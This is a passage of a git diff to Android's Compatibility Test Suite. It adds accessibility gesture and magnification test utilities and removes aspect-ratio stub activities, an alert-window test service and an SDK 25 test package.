+ () -> (mCurrentZoomCenter.x - oldCenter.x >= pan / mCurrentScale * 0.9));
+
+ setZoomByTripleTapping(false);
+ }
+
+ private void setZoomByTripleTapping(boolean desiredZoomState) {
+ if (isZoomed() == desiredZoomState) return;
+ dispatch(tripleTap());
+ waitOn(mZoomLock, () -> isZoomed() == desiredZoomState);
+ assertNoTouchInputPropagated();
+ }
+
+ private void tripleTapAndDragViewport() {
+ StrokeDescription down = tripleTapAndHold();
+
+ float pan = mTapLocation.x / 2;
+ PointF oldCenter = mCurrentZoomCenter;
+
+ StrokeDescription drag = drag(down, add(lastPointOf(down), pan, 0f));
+ dispatch(drag);
+ waitOn(mZoomLock, () -> distance(mCurrentZoomCenter, oldCenter) >= pan / 5);
+ assertTrue(isZoomed());
+ assertNoTouchInputPropagated();
+
+ dispatch(pointerUp(drag));
+ assertNoTouchInputPropagated();
+ }
+
+ private StrokeDescription tripleTapAndHold() {
+ StrokeDescription tap1 = click(mTapLocation);
+ StrokeDescription tap2 = startingAt(endTimeOf(tap1) + 20, click(mTapLocation2));
+ StrokeDescription down = startingAt(endTimeOf(tap2) + 20, pointerDown(mTapLocation));
+ dispatch(tap1, tap2, down);
+ waitOn(mZoomLock, () -> isZoomed());
+ return down;
+ }
+
+ private void assertGesturesPropagateToView() {
+ dispatch(click(mTapLocation));
+ assertPropagated(ACTION_DOWN, ACTION_UP);
+
+ dispatch(longClick(mTapLocation));
+ assertPropagated(ACTION_DOWN, ACTION_UP);
+
+ dispatch(doubleTap());
+ assertPropagated(ACTION_DOWN, ACTION_UP, ACTION_DOWN, ACTION_UP);
+
+ dispatch(swipe(
+ mTapLocation,
+ add(mTapLocation, 31, 29)));
+ assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
+ }
+
+ private void assertNoTouchInputPropagated() {
+ assertThat(prettyPrintable(mTouchListener.events), is(empty()));
+ }
+
+ private void setMagnificationEnabled(boolean enabled) {
+ Settings.Secure.putInt(mInstrumentation.getContext().getContentResolver(),
+ Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, enabled ? 1 : 0);
+ }
+
+ private boolean isZoomed() {
+ return mCurrentScale >= MIN_SCALE;
+ }
+
+ private void assertPropagated(int... eventTypes) {
+ MotionEvent ev;
+ try {
+ while (true) {
+ if (eventTypes.length == 0) return;
+ int expectedEventType = eventTypes[0];
+ long startedPollingAt = SystemClock.uptimeMillis();
+ ev = mTouchListener.events.poll(5, SECONDS);
+ assertNotNull("Expected "
+ + MotionEvent.actionToString(expectedEventType)
+ + " but none present after "
+ + (SystemClock.uptimeMillis() - startedPollingAt) + "ms",
+ ev);
+ int action = ev.getActionMasked();
+ if (action == expectedEventType) {
+ eventTypes = Arrays.copyOfRange(eventTypes, 1, eventTypes.length);
+ } else {
+ if (action != ACTION_MOVE) fail("Unexpected event: " + ev);
+ }
+ }
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ private GestureDescription doubleTap() {
+ return multiTap(2);
+ }
+
+ private GestureDescription tripleTap() {
+ return multiTap(3);
+ }
+
+ private GestureDescription multiTap(int taps) {
+ GestureDescription.Builder builder = new GestureDescription.Builder();
+ long time = 0;
+ for (int i = 0; i < taps; i++) {
+ StrokeDescription stroke = click(mTapLocation);
+ builder.addStroke(startingAt(time, stroke));
+ time += stroke.getDuration() + 20;
+ }
+ return builder.build();
+ }
+
+ public void dispatch(StrokeDescription firstStroke, StrokeDescription... rest) {
+ GestureDescription.Builder builder =
+ new GestureDescription.Builder().addStroke(firstStroke);
+ for (StrokeDescription stroke : rest) {
+ builder.addStroke(stroke);
+ }
+ dispatch(builder.build());
+ }
+
+ public void dispatch(GestureDescription gesture) {
+ await(dispatchGesture(mService, gesture));
+ }
+
+ private static <T> Collection<T> prettyPrintable(Collection<T> c) {
+ return new ArrayList<T>(c) {
+
+ @Override
+ public String toString() {
+ return stream()
+ .map(t -> "\n" + t)
+ .reduce(String::concat)
+ .orElse("");
+ }
+ };
+ }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AsyncUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AsyncUtils.java
new file mode 100644
index 0000000..12bb737
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AsyncUtils.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+import static android.accessibilityservice.cts.utils.CtsTestUtils.assertThrows;
+
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
+import android.os.SystemClock;
+
+import java.util.concurrent.CancellationException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.function.BooleanSupplier;
+
+public class AsyncUtils {
+ public static final long DEFAULT_TIMEOUT_MS = 5000;
+
+ private AsyncUtils() {}
+
+ public static <T> T await(Future<T> f) {
+ return await(f, DEFAULT_TIMEOUT_MS, MILLISECONDS);
+ }
+
+ public static <T> T await(Future<T> f, long time, TimeUnit timeUnit) {
+ try {
+ return f.get(time, timeUnit);
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public static Throwable awaitFailure(Future<?> f) {
+ return awaitFailure(f, DEFAULT_TIMEOUT_MS, MILLISECONDS);
+ }
+
+ public static Throwable awaitFailure(Future<?> f, long time, TimeUnit timeUnit) {
+ return assertThrows(() -> await(f, time, timeUnit));
+ }
+
+ public static <T> CancellationException awaitCancellation(Future<T> f) {
+ return awaitCancellation(f, DEFAULT_TIMEOUT_MS, MILLISECONDS);
+ }
+
+ public static <T> CancellationException awaitCancellation(
+ Future<T> f, long time, TimeUnit timeUnit) {
+ Throwable ex = awaitFailure(f, time, timeUnit);
+ Throwable current = ex;
+ while (current != null) {
+ if (current instanceof CancellationException) {
+ return (CancellationException) current;
+ }
+ current = current.getCause();
+ }
+ throw new AssertionError("Expected cancellation", ex);
+ }
+
+ public static void waitOn(Object notifyLock, BooleanSupplier condition) {
+ waitOn(notifyLock, condition, DEFAULT_TIMEOUT_MS);
+ }
+
+ public static void waitOn(Object notifyLock, BooleanSupplier condition, long timeoutMs) {
+ if (condition.getAsBoolean()) return;
+
+ synchronized (notifyLock) {
+ try {
+ long timeSlept = 0;
+ while (!condition.getAsBoolean() && timeSlept < timeoutMs) {
+ long sleepStart = SystemClock.uptimeMillis();
+ notifyLock.wait(timeoutMs - timeSlept);
+ timeSlept += SystemClock.uptimeMillis() - sleepStart;
+ }
+ if (!condition.getAsBoolean()) {
+ throw new AssertionError("Timed out after " + timeSlept
+ + "ms waiting for condition");
+ }
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+ }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/CtsTestUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/CtsTestUtils.java
new file mode 100644
index 0000000..545483b
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/CtsTestUtils.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+
+public class CtsTestUtils {
+ private CtsTestUtils() {}
+
+ public static Throwable assertThrows(Runnable action) {
+ return assertThrows(Throwable.class, action);
+ }
+
+ public static <E extends Throwable> E assertThrows(Class<E> exceptionClass, Runnable action) {
+ try {
+ action.run();
+ throw new AssertionError("Expected an exception");
+ } catch (Throwable e) {
+ if (exceptionClass.isInstance(e)) {
+ return (E) e;
+ }
+ throw new RuntimeException(e);
+ }
+ }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java
new file mode 100644
index 0000000..d7ae4592
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+
+import static org.junit.Assert.assertTrue;
+
+import android.view.MotionEvent;
+import android.view.View;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+public class EventCapturingTouchListener implements View.OnTouchListener {
+
+ public final BlockingQueue<MotionEvent> events = new LinkedBlockingQueue<>();
+
+ @Override
+ public boolean onTouch(View view, MotionEvent motionEvent) {
+ assertTrue(events.offer(MotionEvent.obtain(motionEvent)));
+ return true;
+ }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
new file mode 100644
index 0000000..076a6da
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+import android.accessibilityservice.AccessibilityService.GestureResultCallback;
+import android.accessibilityservice.GestureDescription;
+import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.accessibilityservice.cts.InstrumentedAccessibilityService;
+import android.graphics.Path;
+import android.graphics.PointF;
+import android.view.ViewConfiguration;
+
+import java.util.concurrent.CompletableFuture;
+
+public class GestureUtils {
+
+ private GestureUtils() {}
+
+ public static CompletableFuture<Void> dispatchGesture(
+ InstrumentedAccessibilityService service,
+ GestureDescription gesture) {
+ CompletableFuture<Void> result = new CompletableFuture<>();
+ GestureResultCallback callback = new GestureResultCallback() {
+ @Override
+ public void onCompleted(GestureDescription gestureDescription) {
+ result.complete(null);
+ }
+
+ @Override
+ public void onCancelled(GestureDescription gestureDescription) {
+ result.cancel(false);
+ }
+ };
+ service.runOnServiceSync(() -> {
+ if (!service.dispatchGesture(gesture, callback, null)) {
+ result.completeExceptionally(new IllegalStateException());
+ }
+ });
+ return result;
+ }
+
+ public static StrokeDescription pointerDown(PointF point) {
+ return new StrokeDescription(path(point), 0, ViewConfiguration.getTapTimeout(), true);
+ }
+
+ public static StrokeDescription pointerUp(StrokeDescription lastStroke) {
+ return lastStroke.continueStroke(path(lastPointOf(lastStroke)),
+ endTimeOf(lastStroke), ViewConfiguration.getTapTimeout(), false);
+ }
+
+ public static PointF lastPointOf(StrokeDescription stroke) {
+ float[] p = stroke.getPath().approximate(0.3f);
+ return new PointF(p[p.length - 2], p[p.length - 1]);
+ }
+
+ public static StrokeDescription click(PointF point) {
+ return new StrokeDescription(path(point), 0, ViewConfiguration.getTapTimeout());
+ }
+
+ public static StrokeDescription longClick(PointF point) {
+ return new StrokeDescription(path(point), 0,
+ ViewConfiguration.getLongPressTimeout() * 3 / 2);
+ }
+
+ public static StrokeDescription swipe(PointF from, PointF to) {
+ return swipe(from, to, ViewConfiguration.getTapTimeout());
+ }
+
+ public static StrokeDescription swipe(PointF from, PointF to, long duration) {
+ return new StrokeDescription(path(from, to), 0, duration);
+ }
+
+ public static StrokeDescription drag(StrokeDescription from, PointF to) {
+ return from.continueStroke(
+ path(lastPointOf(from), to),
+ endTimeOf(from), ViewConfiguration.getTapTimeout(), true);
+ }
+
+ public static Path path(PointF first, PointF... rest) {
+ Path path = new Path();
+ path.moveTo(first.x, first.y);
+ for (PointF point : rest) {
+ path.lineTo(point.x, point.y);
+ }
+ return path;
+ }
+
+ public static StrokeDescription startingAt(long timeMs, StrokeDescription prototype) {
+ return new StrokeDescription(
+ prototype.getPath(), timeMs, prototype.getDuration(), prototype.willContinue());
+ }
+
+ public static long endTimeOf(StrokeDescription stroke) {
+ return stroke.getStartTime() + stroke.getDuration();
+ }
+
+ public static float distance(PointF a, PointF b) {
+ if (a == null) throw new NullPointerException();
+ if (b == null) throw new NullPointerException();
+ return (float) Math.hypot(a.x - b.x, a.y - b.y);
+ }
+
+ public static PointF add(PointF a, float x, float y) {
+ return new PointF(a.x + x, a.y + y);
+ }
+
+ public static PointF add(PointF a, PointF b) {
+ return add(a, b.x, b.y);
+ }
+
+ public static PointF diff(PointF a, PointF b) {
+ return add(a, -b.x, -b.y);
+ }
+
+ public static PointF negate(PointF p) {
+ return times(-1, p);
+ }
+
+ public static PointF times(float mult, PointF p) {
+ return new PointF(p.x * mult, p.y * mult);
+ }
+
+ public static float length(PointF p) {
+ return (float) Math.hypot(p.x, p.y);
+ }
+
+ public static PointF ceil(PointF p) {
+ return new PointF((float) Math.ceil(p.x), (float) Math.ceil(p.y));
+ }
+}
diff --git a/tests/app/Android.mk b/tests/app/Android.mk
index 6bd42ef..ce81559 100644
--- a/tests/app/Android.mk
+++ b/tests/app/Android.mk
@@ -32,9 +32,7 @@
platform-test-annotations
LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
- $(call all-java-files-under, app2/src) \
- $(call all-java-files-under, appSdk25/src) \
+ $(call all-java-files-under, src)
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index eb515b2..dd240d4 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -22,7 +22,6 @@
<option name="test-file-name" value="CtsAppTestStubs.apk" />
<option name="test-file-name" value="CtsAppTestStubsDifferentUid.apk" />
<option name="test-file-name" value="CtsAppTestCases.apk" />
- <option name="test-file-name" value="CtsAppTestSdk25.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.app.cts" />
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 7db0717..6093384 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -104,6 +104,8 @@
<service android:name="android.app.stubs.MockService" />
+ <service android:name="android.app.stubs.NullService" />
+
<activity android:name="android.app.stubs.SearchManagerStubActivity"
android:label="SearchManagerStubActivity">
<intent-filter>
@@ -326,45 +328,6 @@
<activity android:name="android.app.stubs.ToolbarActivity"
android:theme="@android:style/Theme.Material.Light.NoActionBar" />
- <activity android:name="android.app.stubs.MaxAspectRatioActivity"
- android:label="MaxAspectRatioActivity"
- android:resizeableActivity="false"
- android:maxAspectRatio="1.0">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
- </intent-filter>
- </activity>
-
- <activity android:name="android.app.stubs.MetaDataMaxAspectRatioActivity"
- android:label="MetaDataMaxAspectRatioActivity"
- android:resizeableActivity="false">
- <meta-data android:name="android.max_aspect" android:value="1.0" />
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
- </intent-filter>
- </activity>
-
- <activity android:name="android.app.stubs.MaxAspectRatioResizeableActivity"
- android:label="MaxAspectRatioResizeableActivity"
- android:resizeableActivity="true"
- android:maxAspectRatio="1.0">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
- </intent-filter>
- </activity>
-
- <activity android:name="android.app.stubs.MaxAspectRatioUnsetActivity"
- android:label="MaxAspectRatioUnsetActivity"
- android:resizeableActivity="false">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
- </intent-filter>
- </activity>
-
<service
android:name="android.app.stubs.LiveWallpaper"
android:icon="@drawable/robot"
diff --git a/tests/app/app/src/android/app/stubs/MaxAspectRatioActivity.java b/tests/app/app/src/android/app/stubs/MaxAspectRatioActivity.java
deleted file mode 100644
index 4a04861..0000000
--- a/tests/app/app/src/android/app/stubs/MaxAspectRatioActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-
-public class MaxAspectRatioActivity extends Activity {
-
-}
diff --git a/tests/app/app/src/android/app/stubs/MaxAspectRatioResizeableActivity.java b/tests/app/app/src/android/app/stubs/MaxAspectRatioResizeableActivity.java
deleted file mode 100644
index da1c605..0000000
--- a/tests/app/app/src/android/app/stubs/MaxAspectRatioResizeableActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-
-public class MaxAspectRatioResizeableActivity extends Activity {
-
-}
diff --git a/tests/app/app/src/android/app/stubs/MaxAspectRatioUnsetActivity.java b/tests/app/app/src/android/app/stubs/MaxAspectRatioUnsetActivity.java
deleted file mode 100644
index 06e4994..0000000
--- a/tests/app/app/src/android/app/stubs/MaxAspectRatioUnsetActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-
-public class MaxAspectRatioUnsetActivity extends Activity {
-
-}
diff --git a/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java b/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java
deleted file mode 100644
index 2e989de..0000000
--- a/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-
-public class MetaDataMaxAspectRatioActivity extends Activity {
-
-}
diff --git a/tests/app/app/src/android/app/stubs/NullService.java b/tests/app/app/src/android/app/stubs/NullService.java
new file mode 100644
index 0000000..6a1c618
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/NullService.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.Log;
+
+/**
+ * A Service that always returns null from onBind(Intent).
+ */
+public class NullService extends Service {
+ private static final String TAG = "NullService";
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ Log.i(TAG, "onBind() returning null");
+ return null;
+ }
+
+}
diff --git a/tests/app/app2/Android.mk b/tests/app/app2/Android.mk
index 2689c30..304f79e 100644
--- a/tests/app/app2/Android.mk
+++ b/tests/app/app2/Android.mk
@@ -22,8 +22,7 @@
compatibility-device-util \
LOCAL_SRC_FILES := \
- ../app/src/android/app/stubs/LocalService.java \
- $(call all-java-files-under, src) \
+ ../app/src/android/app/stubs/LocalService.java
LOCAL_SDK_VERSION := current
diff --git a/tests/app/app2/src/com/android/app2/AlertWindowService.java b/tests/app/app2/src/com/android/app2/AlertWindowService.java
deleted file mode 100644
index a514e8a..0000000
--- a/tests/app/app2/src/com/android/app2/AlertWindowService.java
+++ /dev/null
@@ -1,145 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.app2;
-
-import android.app.Service;
-import android.content.Intent;
-import android.graphics.Point;
-import android.os.Handler;
-import android.os.IBinder;
-import android.os.Message;
-import android.os.Messenger;
-import android.os.RemoteException;
-import android.util.Log;
-import android.view.View;
-import android.view.WindowManager;
-import android.widget.TextView;
-
-import java.util.LinkedList;
-
-import static android.graphics.Color.BLUE;
-import static android.view.Gravity.LEFT;
-import static android.view.Gravity.TOP;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
-
-/** Service for creating and managing alert windows. */
-public class AlertWindowService extends Service {
-
- private static final String TAG = "AlertWindowService";
- private static final boolean DEBUG = false;
-
- public static final int MSG_ADD_ALERT_WINDOW = 1;
- public static final int MSG_REMOVE_ALERT_WINDOW = 2;
- public static final int MSG_REMOVE_ALL_ALERT_WINDOWS = 3;
-
- public static String NOTIFICATION_MESSENGER_EXTRA =
- "com.android.app2.AlertWindowService.NOTIFICATION_MESSENGER_EXTRA";
- public static final int MSG_ON_ALERT_WINDOW_ADDED = 4;
- public static final int MSG_ON_ALERT_WINDOW_REMOVED = 5;
-
- private LinkedList<View> mAlertWindows = new LinkedList<>();
-
- private Messenger mOutgoingMessenger = null;
- private final Messenger mIncomingMessenger = new Messenger(new IncomingHandler());
-
- private class IncomingHandler extends Handler {
- @Override
- public void handleMessage(Message msg) {
- switch (msg.what) {
- case MSG_ADD_ALERT_WINDOW:
- addAlertWindow();
- break;
- case MSG_REMOVE_ALERT_WINDOW:
- removeAlertWindow();
- break;
- case MSG_REMOVE_ALL_ALERT_WINDOWS:
- removeAllAlertWindows();
- break;
- default:
- super.handleMessage(msg);
- }
- }
- }
-
- private void addAlertWindow() {
- final Point size = new Point();
- final WindowManager wm = getSystemService(WindowManager.class);
- wm.getDefaultDisplay().getSize(size);
-
- final WindowManager.LayoutParams params = new WindowManager.LayoutParams(
- TYPE_APPLICATION_OVERLAY,
- FLAG_NOT_FOCUSABLE | FLAG_WATCH_OUTSIDE_TOUCH | FLAG_NOT_TOUCHABLE);
- params.width = size.x / 3;
- params.height = size.y / 3;
- params.gravity = TOP | LEFT;
-
- final TextView view = new TextView(this);
- view.setText("AlertWindowService" + mAlertWindows.size());
- view.setBackgroundColor(BLUE);
- wm.addView(view, params);
- mAlertWindows.add(view);
-
- if (DEBUG) Log.e(TAG, "addAlertWindow " + mAlertWindows.size());
- if (mOutgoingMessenger != null) {
- try {
- mOutgoingMessenger.send(Message.obtain(null, MSG_ON_ALERT_WINDOW_ADDED));
- } catch (RemoteException e) {
-
- }
- }
- }
-
- private void removeAlertWindow() {
- if (mAlertWindows.size() == 0) {
- return;
- }
- final WindowManager wm = getSystemService(WindowManager.class);
- wm.removeView(mAlertWindows.pop());
-
- if (DEBUG) Log.e(TAG, "removeAlertWindow " + mAlertWindows.size());
- if (mOutgoingMessenger != null) {
- try {
- mOutgoingMessenger.send(Message.obtain(null, MSG_ON_ALERT_WINDOW_REMOVED));
- } catch (RemoteException e) {
-
- }
- }
- }
-
- private void removeAllAlertWindows() {
- while (mAlertWindows.size() > 0) {
- removeAlertWindow();
- }
- }
-
- @Override
- public IBinder onBind(Intent intent) {
- if (DEBUG) Log.e(TAG, "onBind");
- mOutgoingMessenger = intent.getParcelableExtra(NOTIFICATION_MESSENGER_EXTRA);
- return mIncomingMessenger.getBinder();
- }
-
- @Override
- public boolean onUnbind(Intent intent) {
- if (DEBUG) Log.e(TAG, "onUnbind");
- removeAllAlertWindows();
- return super.onUnbind(intent);
- }
-}
diff --git a/tests/app/appSdk25/Android.mk b/tests/app/appSdk25/Android.mk
deleted file mode 100644
index 36c6d07..0000000
--- a/tests/app/appSdk25/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
-
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
-
-LOCAL_SDK_VERSION := 25
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsAppTestSdk25
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/app/appSdk25/AndroidManifest.xml b/tests/app/appSdk25/AndroidManifest.xml
deleted file mode 100755
index f564f51..0000000
--- a/tests/app/appSdk25/AndroidManifest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2017 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.appSdk25">
-
- <application android:label="CtsAppTestSdk25">
- <activity android:name=".Sdk25MaxAspectRatioActivity"
- android:label="Sdk25MaxAspectRatioActivity"
- android:resizeableActivity="false"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
- </intent-filter>
- </activity>
- </application>
-</manifest>
-
diff --git a/tests/app/appSdk25/src/com/android/appSdk25/Sdk25MaxAspectRatioActivity.java b/tests/app/appSdk25/src/com/android/appSdk25/Sdk25MaxAspectRatioActivity.java
deleted file mode 100644
